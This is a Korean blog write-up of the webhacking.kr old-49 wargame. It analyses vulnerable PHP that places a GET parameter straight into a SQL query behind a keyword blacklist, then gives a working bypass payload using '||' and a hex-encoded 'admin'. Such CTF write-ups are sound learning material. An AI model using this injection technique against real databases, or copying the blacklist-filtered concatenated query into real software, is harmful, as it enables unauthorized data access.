Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 | 31 |
Tags
- 웹해킹
- WebHacking
- 코딩
- 웹개발
- SQL Injection
- geminipro
- 인공지능
- Over The Wire
- web hacking
- webhacking.kr
- Bandit
- lord of sqlinjection
- burp suite
- sql injection bypass
- XSS GAME
- 사이버보안
- 웹해킹 기초
- system hacking
- Wargame
- hackthissite
- write up
- pythonprogramming
- root me
- 프로그래밍
- web-server
- CTF
- 테크트렌드
- overthewire
- 정보보안
- 개발자
Archives
- Today
- Total
컴맹에서 컴공 그리고 화이트 해커가 되는 그날까지
webhacking.kr old-49 Write Up 본문
반응형
코드 분석
<?php
// $_GET['lv'] 값이 설정되어 있는지 확인합니다.
if($_GET['lv']){
// 데이터베이스 연결 함수 호출 (구체적인 내용은 정의된 dbconnect() 함수에 따라 다릅니다).
$db = dbconnect();
// $_GET['lv']에 SQL injection 방지 필터링 적용.
// select, or, and, (, ), limit, ,, /, order, cash 등의 키워드와 공백, 탭, 따옴표가 포함되어 있으면 프로그램 종료.
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
// 필터링된 $_GET['lv'] 값을 사용하여 chall49 테이블에서 id 값을 가져옵니다.
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
// 쿼리 결과에서 가져온 id 값을 출력합니다.
echo $result[0];
// 가져온 id 값이 "admin"인지 확인하고, "admin"이라면 solve(49) 함수 호출.
if($result[0]=="admin") solve(49);
}
?>
취약점이 존재하는 곳
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
만들어야 하는 sql 구문
select id from chall49 where lv={}
필터링된 것들
- select
- or
- and
- (
- )
- limit
- ,
- /
- order
- cash
- 공백( )
- 탭(\t)
- 작은따옴표(')
- 큰따옴표(")
아 그럼 lv input 값에 1||id=0x61646D696E 넣으면 되겠지 하고 입력했는데
이렇게 입력하니까 나오지 않아서 왜 안되지 했었다. ㅋㅋㅋㅋㅋㅋ
OR이니까 앞의 값이 거짓이 되어야 참인 뒤의 값이 나오는걸 까먹지 말자!!!!!
lv 값이 5부터 id가 출력되지 않았다. 그래서
5
select id from chall49 where lv={5||id=0x61646D696E}
이렇게 입력하면
굿!
OR이니까 앞의 값이 거짓이 되어야 참인 뒤의 값이 나오는걸 까먹지 말자!!!!!
반응형
'해킹 > Web hacking' 카테고리의 다른 글
webhacking.kr old-42 Write Up (0) | 2025.03.05 |
---|---|
Pearfect Markdown (dreamhack) write up (0) | 2025.03.04 |
Cross-Site Scripting (XSS) 완벽 가이드: 기초부터 고급 방어 기법까지 (0) | 2025.02.23 |
OverTheWire: Natas 클리어!!! (0) | 2025.01.29 |
Root Me[web-server] : HTTP - Headers Write up (0) | 2024.09.19 |